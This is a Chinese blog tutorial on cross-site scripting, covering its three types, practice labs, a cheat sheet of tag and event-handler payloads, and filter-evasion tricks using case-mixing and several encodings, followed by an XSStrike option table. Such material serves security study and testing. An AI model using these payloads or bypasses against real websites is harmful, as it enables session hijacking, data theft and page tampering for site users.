【Web安全】XSS攻击与绕过

【Web安全】XSS攻击与绕过

【Web安全靶场】xss-labs-master 1-20

文章目录

  • 【Web安全】XSS攻击与绕过
    • 1. XSS攻击是啥？
    • 2. XSS如何发生？
    • 3. XSS分类
      • 3.1. 反射型
      • 3.2. 存储型
      • 3.3. DOM型
    • 4. XSS攻击方式
      • 1. script标签
      • 2. img标签
      • 3. input标签
      • 4. details标签
      • 5. svg标签
      • 6. select标签
      • 7. iframe标签
      • 8. video标签
      • 9. audio标签
      • 10. body标签
      • 11. textarea标签
    • 5. 常见绕过方式
      • 1. 空格过滤
      • 2. 引号过滤
      • 3. 括号过滤
      • 4. 关键词过滤
      • 5. 编码绕过
      • 6. url地址过滤
      • 7. 伪协议
    • 6. xsstrike

1. XSS攻击是啥？

XSS（跨站脚本攻击）是一种常见的网络安全漏洞，它允许攻击者将恶意脚本注入到网页中，以便在用户的浏览器上执行。这些恶意脚本通常是JavaScript代码（当然不限于js代码，java，vbscript，activeX，Flash，HTML也能够构造攻击），可以利用浏览器的漏洞来窃取用户信息、篡改网页内容、跳转到恶意网站等。

XSS攻击的原理是通过在网页中注入恶意脚本，这些脚本会在用户浏览该网页时执行。攻击者可以利用各种方式将恶意脚本注入到网页中，包括在输入框中输入恶意代码、通过URL参数传递恶意脚本、利用未经过滤的用户输入等。

XSS攻击的危害包括但不限于：

  1. 网络钓鱼、盗取用户信息如Cookie
  2. 弹出广告页面，获取相关利益。
  3. 劫持用户会话，执行任意操作
  4. 传播蠕虫病毒。

2. XSS如何发生？

例如：<input type=“text” name=“name” value=“”>
当用户输入不是正常想要输入的内容，而是输入一串代码：“/><script>alert(document.cookie)</script>。
变成：<input type=“text” name=“name” value=”“/><script>alert(document.cookie)</script>”>从而代码就会执行。这个过程中涉及构造闭合，构造js代码。

常见的XSS发生位置有评论区，留言区，个人信息等，这些都能够存储在服务器的并且大规模传播的风险比较高，因为不同用户只要看到这个页面就会触发脚本攻击，管理员也是。同样的中低风险，常见于私信、搜索框、URL、筛选等，这些可以构造特定用户攻击、网络钓鱼等。

3. XSS分类

XSS攻击常见分三类：反射性、存储型、DOM型

3.1. 反射型

反射型XSS的原理就是将用户输入的内容作为代码让浏览器执行，一般需要引诱用户访问攻击者构建的URL。这种类型的攻击指发生在客户端上，并且需要访问带有恶意的参数特制的URL，所以也称之为非持久型XSS。

  1. 攻击者构造了一个包含恶意代码的URL并把它发给受害者，比如说发送受害者信息。
  2. 受害者点击攻击者构造的URL，网站执行并响应
  3. 受害者浏览器执行响应中的恶意脚本，将受害者的cookies信息发给攻击者服务器。

比如说xss-labs第一关http://192.168.255.128/xss-labs-master/level1.php?name=<script>alert(document.cookie)</script>，参数name后面是攻击者构建的代码，这一串代码的作用是弹出cookie信息，当然也可以让它发送到特定网站，攻击者只要柔诱导受害者点击这个信息就会产生攻击。

3.2. 存储型

存储型XSS是将脚本永远嵌入某一个页面中，当用户访问的时候就会触发执行，从而用户受到相关的攻击。并且该类型的攻击主要发生在服务端，所有用户访问该页面都将受到相应的攻击，所以也称之为持久型XSS。

  1. 攻击者利用网站的一个表单（比如说评论区、留言区），将恶意字符串即脚本代码插入到网站数据库中。
  2. 受害者向网站请求页面，网站产生响应，引入恶意字符串发送给受害者。
  3. 受害者浏览器识别出这时脚本代码，并执行。

比如说pikachu靶场的存储型XSS，我们把**hahahaha<script>alert(“xss”)/script>**发送到留言板，查看源代码发现js代码成功嵌入。

在这里插入图片描述

3.3. DOM型

DOM型XSS攻击（Document Object Model Cross-Site Scripting）是一种特殊的XSS攻击，其原理是利用客户端浏览器对DOM（文档对象模型）的操作进行攻击。与传统的XSS攻击不同，DOM型XSS攻击不需要服务器端的参与，而是完全在客户端执行。

DOM型XSS攻击的主要原理是攻击者通过构造恶意URL，向目标网页传递参数，然后在客户端浏览器中执行恶意脚本。当目标网页的JavaScript代码解析URL参数并将其插入到DOM中时，如果没有对参数进行适当的过滤和处理，就可能导致恶意脚本的执行。

可以说和反射型xss区别不大，只不过DOM没有于服务器进行交互，完全是在前端进行的。

例如pikachu的XSS-DOM，抓包试试，完全没有任何数据包：

在这里插入图片描述

4. XSS攻击方式

1. script标签

<script>alert("xss");</script>

注释：这是最基本的XSS攻击形式。通过插入<script>标签，攻击者可以在受害者的浏览器上执行任意JavaScript代码。在这个例子中，它会显示一个警告框，显示消息"xss"。

2. img标签

<img src=1 onerror=alert("xss")>

注释：利用<img>标签的onerror事件。如果图片加载失败（例如，src设置为不存在的资源），则执行onerror中的JavaScript代码。

3. input标签

<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus=alert("xss")>
<input onclick=alert("xss")>
<input onmouseover=alert("xss")>

注释：通过在<input>标签的事件处理器中嵌入代码。例如，onblur事件在元素失去焦点时触发，onfocus在元素获得焦点时触发，onclick在点击时触发，onmouseover在鼠标悬停时触发。

4. details标签

<details ontoggle=alert("xss");>

注释：利用HTML5的<details>标签，当用户切换显示/隐藏详情时，触发ontoggle事件。

5. svg标签

<svg onload=alert("xss")>

注释：使用SVG图像格式的<svg>标签。onload事件在SVG加载完成时触发，可以用于执行恶意代码。

6. select标签

<select onfocus=alert("xss")></select>
<select onfocus=alert("xss") autofocus>

注释：在<select>标签中使用onfocus事件。当下拉列表获得焦点时，触发JavaScript代码。

7. iframe标签

<iframe onload=alert("xss")></iframe>

注释：利用<iframe>标签的onload事件。当iframe加载完成后，执行指定的JavaScript代码。

8. video标签

<video><source onerror=alert("xss")>

注释：通过<video>标签中的<source>元素的onerror事件。如果视频源文件加载失败，将执行错误处理代码。

9. audio标签

<audio src=1 onerror=alert("xss")>

注释：与<img>标签类似，这里使用<audio>标签的onerror事件来执行代码。如果音频文件加载失败，将触发onerror事件。

10. body标签

<body onload=alert("xss")>

注释：在HTML的<body>标签的onload事件中嵌入代码。当页面加载完成时，会执行此代码。

11. textarea标签

<textarea onfocus=alert("xss"); autofocus>

注释：使用<textarea>元素的onfocus事件。当文本区域获得焦点时，将执行指定的JavaScript代码。

5. 常见绕过方式

这里只是列举出常见的，详细看这个XSS攻击绕过过滤方法大全（转）

1. 空格过滤

当空格被过滤了，可以用**/和注释符**代替空格，

<img/src="x"/onerror=alert(1);>
<img/**/src="x"/**/onerror=alert(1);>

2. 引号过滤

在html中可以不使用引号，在js中，可以用反引号代替单双引号

<img src=x onerror=alert(`xss`);>
除了单引号其他都被编码，可以试试onclick

3. 括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。（末尾有解释）

<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

4. 关键词过滤

关键词过滤可能可以使用大小写绕过、双写绕过、字符串拼接绕过

<sCRiPt>alert(1);</sCrIpT>
<scrscriptipt>alert(1);</scrscriptipt>
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">  反引号代替单双引号

5. 编码绕过

使用Unicode、url、Ascii、hex、base64绕过

// Unicode
javasc&#x72;&#x69;pt:alert(/xss/)     (编码了r和i)
// url
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
// Ascii
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
// hex
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
// base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

6. url地址过滤

// 使用URL编码
// 十进制、八进制、十六进制IP
// 用//代替http://
// 使用中文句号代替英文点号

7. 伪协议

"><a href=javascript:alert(/xss/)>   o_n和<scr_ipt>过滤

6. xsstrike

版本：XSStrike v3.1.5

项目地址：

https://github.com/s0md3v/XSStrike
参数描述使用示例
-h, --help显示帮助信息并退出python3 xsstrike.py -h
-u TARGET, --url TARGET指定目标URLpython3 xsstrike.py -u http://example.com/111.php?q=123
--data PARAMDATA提供POST数据python3 xsstrike.py --data "username=admin"
-e ENCODE, --encode ENCODE有效载荷编码python3 xsstrike.py -e base64
--fuzzer启动模糊测试器python3 xsstrike.py --fuzzer
--update更新XSstrikepython3 xsstrike.py --update
--timeout TIMEOUT设置请求超时时间python3 xsstrike.py --timeout 10
--proxy使用代理服务器python3 xsstrike.py --proxy http://127.0.0.1:8080
--crawl爬行目标网站以发现更多页面python3 xsstrike.py --crawl
--json将POST数据视为JSONpython3 xsstrike.py --data '{"user":"admin"}' --json
--path在路径中注入有效Payloadpython3 xsstrike.py --url http://example.com --path
--seeds ARGS_SEEDS从文件加载URL作为种子python3 xsstrike.py --seeds urls.txt
-f ARGS_FILE, --file ARGS_FILE从文件加载有效Payloadpython3 xsstrike.py -f payloads.txt
-l LEVEL, --level LEVEL设置爬行深度级别python3 xsstrike.py --level 2
--headers [ADD_HEADERS]添加HTTP头部python3 xsstrike.py --headers "User-Agent: Custom"
-t THREADCOUNT, --threads THREADCOUNT设置线程数量python3 xsstrike.py --threads 5
-d DELAY, --delay DELAY设置请求之间的延迟时间python3 xsstrike.py --delay 1
--skip跳过确认对话框和PoC(概念验证)python3 xsstrike.py --skip
--skip-dom跳过DOM检查python3 xsstrike.py --skip-dom
--blind在爬行时注入盲目XSS有效Payloadpython3 xsstrike.py --blind
--console-log-level {DEBUG,INFO,RUN,GOOD,WARNING,ERROR,CRITICAL,VULN}设置控制台日志级别python3 xsstrike.py --console-log-level INFO
--file-log-level {DEBUG,INFO,RUN,GOOD,WARNING,ERROR,CRITICAL,VULN}设置文件日志级别python3 xsstrike.py --file-log-level DEBUG
--log-file LOG_FILE设置日志文件的名称python3 xsstrike.py --log-file xsstrike.log

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/438859.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

CAN总线及通讯的工作原理

CAN总线及通讯的工作原理

一、CAN总线 CAN是控制器局域网络(Controller Area Network)的简称&#xff0c; 它是由研发和生产汽车电子产品著称的德国BOSCH公司开发的&#xff0c; 并最终成为国际标准&#xff08;ISO11519&#xff09;&#xff0c;是国际上应用最广泛的现场总线之一。 二、工作原理 …
阅读更多...
大规模语言模型中新的思想和方法

大规模语言模型中新的思想和方法

大规模语言模型的发展引入了多项创新的思想和方法&#xff0c;这些创新对实际效果产生了深远的影响&#xff1a; 1. 深度神经网络架构创新 如Transformer模型的引入&#xff0c;利用自注意力机制解决了长序列输入的处理难题&#xff0c;使得模型能够更有效地捕获语言中的长距离…
阅读更多...
2024年AI辅助研发：科技遇上创意，无限可能的绽放

2024年AI辅助研发：科技遇上创意，无限可能的绽放

码到三十五 &#xff1a; 个人主页 心中有诗画&#xff0c;指尖舞代码&#xff0c;目光览世界&#xff0c;步履越千山&#xff0c;人间尽值得 ! 随着人工智能技术的持续突破与深度融合&#xff0c;2024年AI辅助研发正以前所未有的速度和规模&#xff0c;引领着科技界和工业界…
阅读更多...
加密 / MD5算法 /盐值

加密 / MD5算法 /盐值

目录 加密的介绍 MD5算法 盐值 加密的介绍 加密介绍&#xff1a;在MySQL数据库中, 我们常常需要对密码, 身份证号, 手机号等敏感信息进行加密, 以保证数据的安全性。 如果使用明文存储, 当黑客入侵了数据库时, 就可以轻松获取到用户的相关信息, 从而对用户或者企业造成信息…
阅读更多...
Java学习笔记------内部类

Java学习笔记------内部类

类的五大成员 属性、方法、构造方法、代码块、内部类 内部类 格式&#xff1a; public class Outer{//外部类 public class Inner{//内部类 } } public class Test{//外部其他类 public static void main(String[] args) } inner类表示的事物是Outer类的一部分&#xf…
阅读更多...
ABB机器人信号关联Cross Connection的具体方法示例

ABB机器人信号关联Cross Connection的具体方法示例

ABB机器人信号关联Cross Connection的具体方法示例 如下图所示，点击打开菜单，然后点击控制面板进入， 如下图所示，找到配置，点击进入， 如下图所示，找到“Cross Connection” 信号关联，点击进入， 如下图所示，选中“Cross Connection”后，点击下方的“显示全部”， 如下…
阅读更多...
DFT应用：计算线性卷积

DFT应用：计算线性卷积

目录 一、计算两个有限长序列的线性卷积示例 二、无限长序列和有限长序列的卷积(重叠相加法) 实验1&#xff1a;数据实验 实验2&#xff1a;纯净语音加混响(音效) 二、无限长序列和有限长序列的卷积(重叠保留法) 实验1&#xff1a;数据实验 三、小结 一、计算两个有限长序…
阅读更多...
吴恩达机器学习笔记十五 什么是导数 计算图 大型神经网络案例

吴恩达机器学习笔记十五 什么是导数 计算图 大型神经网络案例

假设函数 J(w)w^2&#xff0c;当 w3 时&#xff0c; J(w)3*39 当我们给w增加一个很小的量时&#xff0c;观察J(w)如何变化。 例如 w30.001&#xff0c; 则J&#xff08;w&#xff09;9.006001&#xff0c;因此当w3且增加一个变化量 ε 时&#xff0c;J(w)将会增加 6ε&#x…
阅读更多...
非线形优化 Matlab和Python （含01规划）

非线形优化 Matlab和Python （含01规划）

MATLAB&#xff1a;fmincon 在matlab中&#xff0c;一般使用fmincon来解决非线性优化问题 [x,fval,exitflag,output,lambda,grad,hessian]fmincon(fun,x0,A,b,Aeq,beq,lb,ub,nonlcon,options) 一般使用&#xff1a; [x,fval,exitflag]fmincon(fun,x0,A,b,Aeq,beq,lb,ub,non…
阅读更多...
RestTemplate解析响应数据中文字符出现Unicode编码问题解决和源码剖析

RestTemplate解析响应数据中文字符出现Unicode编码问题解决和源码剖析

问题 基于上篇文章&#xff0c;开发过程中又遇到一个restTemplate问题&#xff1a; restTemplate请求接口返回响应数据为json时&#xff0c;解析其中的中文字符出现Unicode编码 测试 接口如下&#xff1a; 测试代码&#xff1a; 觉得很奇怪&#xff0c;我的restTemplate配置…
阅读更多...
排序算法——梳理总结

排序算法——梳理总结

✨冒泡 ✨选择 ✨插入  ✨标准写法  &#x1f3ad;不同写法 ✨希尔排序——标准写法 ✨快排 ✨归并 ✨堆排 ✨冒泡 void Bubble(vector<int>& nums) {// 冒泡排序只能先确定最右边的结果&#xff0c;不能先确定最左边的结果for (int i 0; i < nums.size(); i){…
阅读更多...
Effective C++ 学习笔记 条款16 成对使用new和delete时要采取相同形式

Effective C++ 学习笔记 条款16 成对使用new和delete时要采取相同形式

以下动作有什么错&#xff1f; std::string *stringArray new std::string[100]; // ... delete stringArray;每件事看起来都井然有序&#xff0c;使用了new&#xff0c;也搭配了对应的delete。但还是有某样东西完全错误&#xff1a;你的程序行为未定义。至少&#xff0c;str…
阅读更多...
自律篇001-养成自律的秘密武器1-目标规划表

自律篇001-养成自律的秘密武器1-目标规划表

&#x1f680;以前在某书上看到一些博主非常自律&#xff0c;比如每天5点多起床看书&#xff0c;或者每天坚持健身&#xff0c;直到练出马甲线&#xff0c;还有一边工作一边考研等等&#xff0c;自己也曾尝试过做一些目标规划&#xff0c;但结果都不尽人意。写计划的时候往往信…
阅读更多...
阿里云k8s环境下，因slb限额导致的发布事故

阿里云k8s环境下，因slb限额导致的发布事故

一、背景 阿里云k8s容器&#xff0c;在发布java应用程序的时候&#xff0c;客户端访问出现500错误。 后端服务是健康且可用的&#xff0c;网关层大量500错误请求&#xff0c;slb没有流入和流出流量。 经过回滚&#xff0c;仍未能解决错误。可谓是一次血的教训&#xff0c;特…
阅读更多...
UI学习 一

UI学习 一

教程&#xff1a;Accessibility – Material Design 3 需要科学上网&#xff0c;否则图片显示不出来。设计教程没有图片说明&#xff0c;不容易理解。 优化UI方向 清晰可见的元素足够的对比度和尺寸重要性的明确等级一眼就能辨别的关键信息 传达某一事物的相对重要性 将重…
阅读更多...
简单了解Stable Diffusion里面sampling methods（采样方法）每种方法的效果

简单了解Stable Diffusion里面sampling methods（采样方法）每种方法的效果

在 Stable Diffusion 模型中&#xff0c;采样方法&#xff08;Sampling Methods&#xff09;是指在生成图像时用于从模型的概率分布中抽取样本的算法。这些方法对于生成图像的质量、多样性和速度都有重要影响&#xff0c;以下是一些 Stable Diffusion 中常见的采样方法。 那么…
阅读更多...
STM32day2

STM32day2

1.思维导图 个人暂时的学后感&#xff0c;不一定对&#xff0c;没什么东西&#xff0c;为做项目奔波中。。。1.使用ADC采样光敏电阻数值&#xff0c;如何根据这个数值调节LED灯亮度。 while (1){/* USER CODE END WHILE *//* USER CODE BEGIN 3 */adc_val HAL_ADC_GetValue(&a…
阅读更多...
2575. 找出字符串的可整除数组（Go语言）

2575. 找出字符串的可整除数组（Go语言）

https://leetcode.cn/problems/find-the-divisibility-array-of-a-string/ 在看题解之前&#xff0c;我的代码是以下这样&#xff1a; package mainimport ("fmt" )func main() {fmt.Println(divisibilityArray("998244353", 3)) }func divisibilityArray…
阅读更多...
基于LSTM实现春联上联对下联

基于LSTM实现春联上联对下联

按照阿光的项目做出了学习笔记&#xff0c;pytorch深度学习实战项目100例 基于LSTM实现春联上联对下联 基于LSTM&#xff08;长短期记忆网络&#xff09;实现春联上联对下联是一种有趣且具有挑战性的任务&#xff0c;它涉及到自然语言处理&#xff08;NLP&#xff09;中的序列…
阅读更多...
【嵌入式】嵌入式系统稳定性建设：静态代码扫描的稳定性提升术

【嵌入式】嵌入式系统稳定性建设：静态代码扫描的稳定性提升术

1. 概述 在嵌入式系统开发过程中&#xff0c;代码的稳定性和可靠性至关重要。静态代码扫描工具作为一种自动化的代码质量检查手段&#xff0c;能够帮助开发者在编译前发现潜在的缺陷和错误&#xff0c;从而增强系统的稳定性。本文将介绍如何在嵌入式C/C开发中使用静态代码扫描…
阅读更多...
最新文章

Copyright @ 2022~2023